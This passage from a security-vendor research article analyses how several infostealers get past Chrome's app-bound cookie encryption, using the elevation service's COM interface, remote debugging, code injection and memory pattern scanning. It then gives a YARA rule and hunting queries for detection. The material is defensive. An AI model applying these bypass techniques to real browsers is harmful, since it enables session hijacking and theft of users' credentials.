It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

• Web Browser Credential Access via Unusual Process
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Browser Debugging from Unusual Parent
• Potential Browser Information Discovery

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Credential Access
• Defense Evasion
• Discovery
• Execution

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Steal Web Session Cookie
• Process Injection
• Credentials from Password Stores
• System Information Discovery
• Process Discovery
• Inter-Process Communication: Component Object Model

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.Stealc
• Windows.Infostealer.PhemedroneStealer
• Windows.Trojan.MetaStealer
• Windows.Trojan.Xeno
• Windows.Trojan.Lumma
• Windows.Infostealer.Generic

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://developer.chrome.com/release-notes/127
• https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html